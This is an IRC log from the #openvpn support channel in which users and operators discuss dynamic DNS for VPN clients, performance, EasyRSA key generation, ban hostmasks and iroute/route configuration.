16:42 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:46 -!- Cultist_ is now known as Cultist
17:24 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
17:46 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
17:46 < dvl> A while back, I was trying to figure out to to easily backup my laptop regardless of whether it's connected directly or by OpenVPN... someone here suggested using DNS to achieve that... instead of always having the same IP address.  Good suggestion.  Got it working just fine now.
17:48 < dvl> http://dan.langille.org/2013/11/25/openvpn-and-dynamic-dns/
17:50 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
17:59 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
18:01 -!- speed_racer84 [~speed_rac@172.56.15.68] has joined #openvpn
18:02 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:08 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Connection reset by peer]
18:10 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
18:13 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Connection reset by peer]
18:20 -!- donpi [~donpi@2.25.13.85] has joined #openvpn
18:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 246 seconds]
18:38 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 245 seconds]
18:43 -!- donpi [~donpi@2.25.13.85] has quit [Quit: Leaving]
18:56 -!- bjh4 [~bjh4@ool-4354103f.dyn.optonline.net] has quit [Quit: Leaving]
19:10 -!- speed_racer84 [~speed_rac@172.56.15.68] has quit [Read error: Connection reset by peer]
19:10 -!- speed_racer84 [~speed_rac@172.56.15.68] has joined #openvpn
19:13 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
19:25 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
20:07 -!- Matviy [~Matviy@c-71-198-200-122.hsd1.ca.comcast.net] has joined #openvpn
20:16 <@krzee> hmm im not sure i get the problem that you solved
20:17 <@krzee> dvl, if you shared the lan then wouldnt you just always connect to the LAN ip, regardless of if you connect to the backup machine via VPN or via lan?
20:18 < dvl> krzee: when I'm at home, I'm on 10.55.0.x
20:18 < dvl> krzee: when I'm not at home, I'm on 10.8.1.x
20:19 <@krzee> but your target is the same, always 10.55.0.x
20:19 < dvl> krzee: target?  what do you mean by target?
20:19 <@krzee> the machine you backup to
20:19 < dvl> krzee: Ahh, yes, but that assumes the backups are initiated from the client.
20:20 <@krzee> ?they arent? o.O
20:20 < dvl> they aren't.
20:20 <@krzee> why would servers initiate connections to clients?
20:20 <@krzee> is that a standard practice with backups?
20:20 <@krzee> i guess it does centralize the config...
20:20 < dvl> Yes, it does.
20:21 < dvl> Control is on the server.
20:21 <@krzee> gotchya
20:21 <@krzee> well then, i guess that answers that :D
20:21 < dvl> The Director knows everything, and controls all.
20:21 < dvl> But you make a very good point.
20:23 <@krzee> !dnsmasq
20:23 <@vpnHelper> "dnsmasq" is http://rob0.nodns4.us/dnsmasq.html for a writeup on how to handle DNS for lans shared with !route
20:23 <@krzee> similar idea, different use case and different solution, i would have showed you that a couple hours ago if i saw the orig question =]
20:24 < dvl> krzee: I've added this to the blog entry: NOTE: backups in my world are controlled centrally.  The backup server initiates backups and thus must know the IP address of each client.
20:24 <@krzee> nice ^ that clears it up for me =]
20:25 -!- Devastator_ [~devas@177.18.196.246] has joined #openvpn
20:25 <@krzee> !learn dnsbind as http://dan.langille.org/2013/11/25/openvpn-and-dynamic-dns/ for a writeup on how the user used bind to serve a VPN/LAN domain and update it for vpn clients
20:25 <@vpnHelper> Joo got it.
20:25 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 260 seconds]
20:25 < dvl> Thanks.
20:26 < dvl> krzee: not sure how dnsmasq applies here.  Reading, and not getting it.
20:26 <@krzee> it was quite a different use case
20:26 < dvl> OK
20:26 <@krzee> but the basics is the same
20:26 <@krzee> openvpn updating zones for its clients
20:27 <@krzee> imo dnsmasq achieves it easier since you can use a 2nd hosts file (lazy way to add clients) and dont need to increment ttl and whatnot
20:27 < dvl> I have also written up the dhcpd side, but not published it.
20:29 <@krzee> read serial _ < <(grep serial "$zfile.bak")
20:29 <@krzee> [[ $(( $(( serial + 1 )) % 10 )) == 0 ]] && nserial=$(( serial + 2)) || nserial=$(( serial + 1))
20:29 <@krzee> haha
20:29 <@krzee> cute, right?
20:30 -!- speed_racer84 [~speed_rac@172.56.15.68] has quit [Ping timeout: 260 seconds]
20:30 <+pekster> Why the bashisms?
20:31 < EugeneKay> !cuz
20:31 < EugeneKay> Oh, this bot.
20:31 < EugeneKay> !why
20:31 <@vpnHelper> "why" is because screw you, that's why.
20:32 < EugeneKay> There we go.
20:32 <@krzee> because that was part of my named updating script
20:32 <@krzee> i write bash
20:34 -!- Devastator_ [~devas@177.18.196.246] has quit [Changing host]
20:34 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
20:34 -!- Devastator_ is now known as Devastator
20:35 <+pekster> It's entierly unnecessary, but valid bash I suppose
20:35 < rob0> I agree (obviously), that dnsmasq is easier. But named/nsupdate is more elegant.
20:36 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 245 seconds]
20:36 < rob0> And if you're updating a publically-served zone, the nsupdate way is surely best.
21:05 -!- Martyn [~Martin@216.38.134.150] has joined #openvpn
21:21 -!- Matviy [~Matviy@c-71-198-200-122.hsd1.ca.comcast.net] has quit []
21:26 -!- cosmicgate [~root@37.247.49.210] has joined #openvpn
21:27 < cosmicgate> why is openvpn so freakin slow?
21:29 <+pekster> Surely approaching gigabit speeds isn't considered slow?
21:29 <+pekster> !gigabit
21:29 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
21:29 <@krzee> looks like we unmuted root@
21:29 <@krzee> :D
21:36 < cosmicgate> he, anyone know why is my openvpn being slow?
21:36 < cosmicgate> this is my config file
21:36 <+pekster> !crystal
21:36 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
21:36 < cosmicgate> http://pastebin.com/gyvD8P5k
21:37 <+pekster> IOW: no clue. Have you tried the usual stuff? Like making sure you're not saturating a CPU core or hitting bandwidth cap?
21:37 <+pekster> krzee: *!root@* != *!~root@*
21:37 <@krzee> may or may not equal
21:38 < cosmicgate> how do i check if i am saturating a cpu core?
21:38 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 245 seconds]
21:38 <+pekster> No, usernames always have the tide on here unless there's an ident service
21:38 <+pekster> There is no way those two things are equal, ever
21:38 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has joined #openvpn
21:38 <+pekster> There's no globbing on the username portion of that hostmask
21:38 < A_Pickle> Hello again.  How's life?
21:38 <+pekster> _each_ component in a ban is unique
21:38 <+pekster> cosmicgate: IRC as root is really stupid. Don't do it
21:39 < A_Pickle> I have a question regarding OpenVPN best practices.
21:39 < cosmicgate> hi pekster, im not irc-ing with root. Im using mirc and on the ident part you can set it to root so my hostname would appear to be root
21:39 < A_Pickle> Where do you store your ca, server, and client certificates and key files securely?
21:39 < A_Pickle> Do you just store them in an unencrypted directory, so OpenVPN can access them, or, what?
21:40 <+pekster> A_Pickle: Have you seen:
21:40 < A_Pickle> Is there a way to securely provide OpenVPN, both server and client instances, with those files?
21:40 <+pekster> !hardening
21:40 <@vpnHelper> "hardening" is https://community.openvpn.net/openvpn/wiki/Hardening
21:40 <+pekster> Lots of PKI recommendations there
21:40 <@krzee> for *!root@* you may have an ident service and be root or the ident service may be running as root (misconfigure, but possible), for *!~root@* you dont have identd and you may be root or you may have configured your irc client to say it is
21:40 < A_Pickle> I have not, I shall check it out, thanks!
21:40 <+pekster> Right, but they won't ever match krzee. Our ban has no globbing
21:41 <@krzee> oh i see
21:41 <@krzee> we DO still have it, just without ~
21:41 <+pekster> Yes. And thus my != statement, which is quite true
21:41 <@krzee> right, now i see why you said it
21:41 <+pekster> ;)
21:42 <+pekster> A_Pickle: You should keep private keys encrypted unless you need automated startup, and even then you should use strong filesystem security as applies to your situation
21:42 <+pekster> What exactly that means is up to you to define
21:43 <+pekster> cosmicgate: whatever CPU tool you prefer; maybe top, htop, or run openvpn out of `time`
21:43 <+pekster> Remember that openvpn is single-threaded, so f.ex, 50% "usage" on a dual-core system is actually saturating the 1 thread
21:44 < A_Pickle> Huh, and I was just using encrypted .7z containers attached to PGP-encrypted e-mails to transport my keys.
21:44 <+pekster> Why transport the keys at all?
21:44 < A_Pickle> Well, each client needs its private key file, no?
21:44 <+pekster> That's "probably" fairly safe, but you still need to exchange the decryption keys and the private key passphrase
21:45 <+pekster> Yes, so review the hardening procedures and follow them. EasyRSA 3 (just recently released with our 3.0.0-rc1 version) makes it even easier to generate keys on target systems
21:45 < A_Pickle> ...
21:45 < A_Pickle> Hmm.  I need the ca cert on the target machine to do that, though, right?
21:46 <+pekster> Nope
21:46 <+pekster> https://community.openvpn.net/openvpn/wiki/EasyRSA
21:46 <@vpnHelper> Title: EasyRSA – OpenVPN Community (at community.openvpn.net)
21:46 <+pekster> Howto linked there for v3 with the separate generation procedure
21:46 <+pekster> Just generate the keypair, send the request to the CA PKI (on your secure enviornment) and sign/return the cert
21:51 < A_Pickle> Of course!!!
21:51 < A_Pickle> Man, those guys thought of EVERYTHING.
21:52 <+pekster> It's one of several main reasons easy-rsa underwent a complete re-write (I'm the primary author, though the community at large is now maintaining it moving forward.) v2 was much harder to use "properly" like this due to the DN formatting
21:53 <+pekster> v3 uses just the CN as the request subject instead of all that org/city/state/OU nonsense
21:54 <+pekster> Of course, you're free to generat keypairs on a "master system" too, just at a security drawback
22:00 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
22:08 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 252 seconds]
22:09 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
22:22 -!- Carbon_Monoxide [~cmonxide@14.0.143.163] has joined #openvpn
22:23 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
22:23 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has quit [Read error: Connection reset by peer]
22:23 -!- Carbon_Monoxide [~cmonxide@14.0.143.163] has left #openvpn []
23:07 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
23:09 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 245 seconds]
23:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
23:34 -!- heraclitus [~heraclitu@77.74.193.82] has joined #openvpn
23:34 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
23:34 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
23:41 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
23:41 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
23:53 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
23:55 -!- heraclitus [~heraclitu@77.74.193.82] has joined #openvpn
23:55 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
23:55 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
23:55 -!- heraclitus is now known as Guest11310
23:55 -!- Guest11310 [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
23:56 -!- halcyon__ [~heraclitu@77.74.193.82] has joined #openvpn
--- Day changed Mon Dec 02 2013
00:09 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:28 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
00:29 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
00:29 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
00:35 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
00:51 -!- Martyn [~Martin@216.38.134.150] has quit [Ping timeout: 246 seconds]
01:00 -!- goldkatze [~nobody@188-192-253-130-dynip.superkabel.de] has joined #openvpn
01:00 -!- goldkatze [~nobody@188-192-253-130-dynip.superkabel.de] has quit [Changing host]
01:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:13 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
01:13 -!- g0uZ [~NickServ@ip-74.net-81-220-31.lyon.rev.numericable.fr] has quit [Ping timeout: 260 seconds]
01:14 -!- Fetch [fetch@gimel.cepheid.org] has quit [Ping timeout: 272 seconds]
01:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Max SendQ exceeded]
01:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:34 -!- halcyon__ is now known as heraclitus
01:35 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
01:35 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
01:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
01:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
01:42 -!- dandy [~dandy@2a01:360:106::2] has quit [Ping timeout: 240 seconds]
01:43 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
01:44 -!- Fetch_ [fetch@gimel.cepheid.org] has quit [Ping timeout: 240 seconds]
01:45 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
01:58 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:01 -!- cosmicgate [~root@37.247.49.210] has quit []
02:12 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 240 seconds]
02:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:14 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
02:21 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:22 -!- Hazza [~Harrison@162.243.39.102] has quit [Excess Flood]
02:24 -!- Hazza [~Harrison@162.243.39.102] has joined #openvpn
02:52 -!- raidz_away [~raidz@178.209.51.40] has quit [Ping timeout: 245 seconds]
02:54 -!- raidz_away [~raidz@178.209.51.40] has joined #openvpn
03:20 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
03:21 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
03:21 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
03:31 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
03:33 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
03:50 -!- caelian [~caelian@ovh.caelian.net] has quit [Disconnected by services]
03:51 -!- caelian1 [~caelian@ovh.caelian.net] has joined #openvpn
03:51 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Excess Flood]
03:52 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:00 -!- xrosnight [~quassel@183.234.77.221] has quit [Ping timeout: 245 seconds]
04:14 -!- sep [~sep@40.211.jostedal.no] has quit [Remote host closed the connection]
04:21 -!- obesd [~obsed@ppp121-45-219-13.lns20.cbr1.internode.on.net] has joined #openvpn
04:22 < obesd> openvpn listening on the public internet, to accept a vpn connection from my mobile phone, then tunneled sip client on mobile phone, a good idea ?
04:22 < obesd> (voip server sitting behind the openvpn server)\
04:23 < obesd> if i run openvpn and asterisk on one openbsd box, can a mobile phone dynamic IP openvpn client "VPN in" but somehow be firewalled to only be able to talk to the asterisk sip port and nothing else?
04:23 < obesd> or do i need separate boxes?
04:24 -!- sep [~sep@40.211.jostedal.no] has joined #openvpn
04:26 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 245 seconds]
04:30 -!- ttec1 [~totaltec@37.220.18.132] has joined #openvpn
04:31 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
04:35 < obesd> i suppose the openvpn server will force all clients out into the local servers tun0 interface, then i can simply use the OS' firewall to firewall the tun0 interface?
04:36 < obesd> each vpn client can also be firewalled from sending packets to eachother ?
04:37 -!- ttec1 [~totaltec@37.220.18.132] has quit [Remote host closed the connection]
04:38 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
04:40 -!- ttec1 [~totaltec@37.220.17.3] has joined #openvpn
04:42 -!- xrosnight [~quassel@113.83.117.111] has joined #openvpn
04:42 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 246 seconds]
04:47 -!- ttec1 [~totaltec@37.220.17.3] has quit [Remote host closed the connection]
04:47 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
04:54 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:19 -!- xrosnight [~quassel@113.83.117.111] has quit [Changing host]
05:19 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
05:23 -!- rDg [~raw@cpe-76-188-27-72.neo.res.rr.com] has quit [Read error: Connection reset by peer]
05:52 -!- u0m3_ [~u0m3@92.80.93.41] has joined #openvpn
05:53 <@dazo> obesd: don't presume anything in openvpn .... openvpn will do exactly what you configure it to do, and nothing more or nothing less
05:54 <@dazo> if you don't provide routes, it won't route anything.  If you tell it to route everything through the tunnel, well, then everything will go through the tunnel
05:57 -!- rtbt [carrot@unaffiliated/tommehm] has joined #openvpn
05:57 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
05:57 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
05:57 -!- u0m3 [~u0m3@92.80.93.41] has quit [Ping timeout: 240 seconds]
05:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
05:57 -!- akurilin [~akurilin@208.185.21.146] has quit [Ping timeout: 240 seconds]
05:57 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 240 seconds]
05:58 -!- dvl [~dan@64.147.113.42] has joined #openvpn
05:58 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
05:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
05:58 -!- Semor [~Semor@218.106.182.104] has quit [Ping timeout: 252 seconds]
05:58 -!- mode/#openvpn [+o krzee] by ChanServ
05:58 < obesd> yes indeed
05:59 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
05:59 < obesd> i dont think i want any routing at all really
06:00 < obesd> just openvpn-client ->>> server running openvpn-server and asterisk,  then the openvpn client can only send packets to the bare minium ip and port(s) needs to place a phone call through the asterisk server
06:01 < obesd> and no other communication permitted ; )
06:05 < obesd> if thats even a good idea; never having setup an openvpn or voip server, not sure about what a secure way would be
06:06 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 240 seconds]
06:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:51 < bersace> !help
06:51 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
06:51 < bersace> !bridge
06:51 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
06:51 < bersace> !layer2
06:51 <@vpnHelper> "layer2" is (#1) you are using tap, what specific layer2 protocol do you need to work over the vpn? or (#2) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better or (#3) protocols that use layer2 communicate by MAC address, not IP address
06:58 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has quit [Read error: Operation timed out]
07:13 -!- Aketzu [akolehma@81.22.244.161] has joined #openvpn
07:26 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
07:30 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
07:31 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:32 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:34 -!- matsh [divine@nanogene.org] has joined #openvpn
07:34 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Client Quit]
07:44 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
07:45 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-slxawaewtxqqgmkp] has quit [K-Lined]
07:50 <@dazo> obesd: check out with krzee, I believe he has done some openvpn+asterix stuff
07:52 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-qzqixrkttdmlfncb] has joined #openvpn
07:53 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
07:55 < obesd> dazo: Thanks. I feel alot more comfortable exposing OpenVPN to the big bad internet than a sip software stack hehe, for things like remotely exploitable vulns etc
07:58 -!- g0uZ [~NickServ@861591080.ipsat.francetelecom.net] has joined #openvpn
07:59 < obesd> seems to simply dynamic ip and nat issues too
07:59 < obesd> simply/simplify*
08:00 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
08:02 -!- g0uZ [~NickServ@861591080.ipsat.francetelecom.net] has quit [Remote host closed the connection]
08:02 -!- g0uZ [~NickServ@861591080.ipsat.francetelecom.net] has joined #openvpn
08:03 -!- Jaska [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
08:05 < obesd> My idea is   <openbsd server, running asterisk and openvpn-server>       i can openvpn into it and register my sip client to asterisk and make outgoing calls through asterisks connection to the pstn
08:06 < obesd> and authorised third parties (there arent too many of them) can get certificates to vpn into my server as well, to place a voip to voip call to me. but be firewalled from doing anything else
08:06 < obesd> thats not a dumb idea is it?  it doesnt need to scale
08:10 < obesd> would still need to harden the voip software in case the third parties try being naughty hehe, or if their machine gets hacked
08:30 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
08:38 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
08:50 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 240 seconds]
08:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
08:53 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
08:54 -!- zenpac [~zenpac3@66.55.33.66] has joined #openvpn
08:55 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:55 < zenpac> I have my   Client->Servers PKI openvpn setup and it works fine going client -> server.  I can also ssh from server -> vpn-tunnel network-ip.. But I can't access the IP's on the other side of the tunne net..
08:56 < zenpac> DO i need to add anyting to my client ovpn setup ? I have iroutes and push routes on the server.
08:56 < zenpac> Maybe its just a firewall problem
09:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:04 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:10 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
09:15 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Quit: - nbs-irc 2.39 - www.nbs-irc.net -]
09:21 -!- takamichi [~takamichi@85.12.8.15] has quit [Ping timeout: 246 seconds]
09:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:37 -!- CatKiller [~catkiller@unaffiliated/catkiller] has quit [Ping timeout: 260 seconds]
09:40 -!- master_o1_master [~master_of@p4FD7B875.dip0.t-ipconnect.de] has joined #openvpn
09:42 -!- g0uZ [~NickServ@861591080.ipsat.francetelecom.net] has quit [Ping timeout: 272 seconds]
09:44 -!- master_of_master [~master_of@p4FD7BF1A.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
09:55 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
09:56 < KrissO> hi. i have problems with ccd, the server seems to be ignoring it altogether. i want my clients to have fixed ip's and specific ones redirect gateway, but no luck. i'm on openwrt. any ideas? i've searched and tried
09:56 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 264 seconds]
09:58 -!- g0uZ [~NickServ@80.12.100.69] has joined #openvpn
09:58 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
10:02 -!- g0uZ [~NickServ@80.12.100.69] has quit [Remote host closed the connection]
10:02 -!- Denial [Denial@2.223.161.125] has quit []
10:02 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 246 seconds]
10:03 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
10:04 -!- CatKiller [~catkiller@unaffiliated/catkiller] has joined #openvpn
10:05 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
10:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
10:06 < debbie10t> So i fixed some spelling errors on the 23 manual page but the changes are not reflected in the download as text file.
10:08 < debbie10t> oops - yes they are was an old copy
10:09 -!- Denial [Denial@2.223.161.125] has joined #openvpn
10:10 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
10:15 -!- xBytez [~quassel@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
10:17 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
10:17 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
10:17 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
10:19 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
10:24 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
10:30 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
10:30 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
10:30 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
10:36 < zenpac> Should the server show a route to the client's private network, assuming i have iroutes setup?
10:38 -!- electric-mind [~root@static.58.41.40.188.clients.your-server.de] has joined #openvpn
10:40 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
10:41 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
10:47 -!- ttec1 [~totaltec@37.220.17.3] has joined #openvpn
10:48 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
10:49 <@dazo> zenpac: yes
10:49 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
10:49 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 248 seconds]
10:50 <@dazo> KrissO: try increasing the verb level to 7 (iirc) ... that's very massive logging ... and see which file it tries to open
10:53 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
10:54 < zenpac> dazo: do i need to disable/enable the ovpn connection to get the new parameters in place?
10:54 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:55 <@dazo> zenpac: you need to restart OpenVPN, yes, if you have modified its configuration file ... but you can also just add the route manually in a shell to see if it's correct
10:55 <@dazo> ip route <networkaddress>/<prefix via <tun/tap IP address>
10:56 <@ecrist> you can set the log level in the openvpn console, as well
10:56 <@ecrist> if you have that enabled
10:56 <@dazo> or: route add -net <networkaddress> <networkmask> <tun/tap IP address>
10:59 < zenpac> dazo: In the Ovpn server config, I have a push "route ...." type of command in advanced section.. In the "client overriddes" I have an iroute entry.. Is that what I sould have?
11:00 <@dazo> no
11:01 < zenpac> That is all on the pfsense server.
11:01 <@dazo> You need to _push_ the route needed for the client to be able to access stuff behind the openvpn server
11:01 <@dazo> then you need to add iroutes on the server of networks belonging behind the client
11:01 <@dazo> and then, in addition, the server needs to have routes to the same subnets you set up with iroute
11:02 < zenpac> The client has no trouble accessing the server
11:02 < zenpac> its the server that can't access the client's subnet..
11:04 <@dazo> --iroute only looks at the internal routing inside openvpn ... while --route manipulates the OS routing table
11:04 <@dazo> you need --route on the server so that the server knows where to send traffic going back to the client
11:04 <@dazo> right, the services behind your client also needs a route to the LAN behind your server
11:04 <@dazo> so the return route goes the right path
11:05 -!- g0uZ [~NickServ@AMontpellier-152-1-46-28.w81-251.abo.wanadoo.fr] has joined #openvpn
11:05 <@dazo> (you might easily solve this by adding that route on your default gateway)
11:05 < zenpac> My client shows the correct route
11:05 <@dazo> then use tcpdump or wireshark to see where the traffic goes .... might be a firewall problem then
11:06 < zenpac> ok.. I can try that. So I should easily see that route when I do "netstat -rn"  on the server..?
11:06 <@dazo> yeah
11:06 < rob0> !clientlan
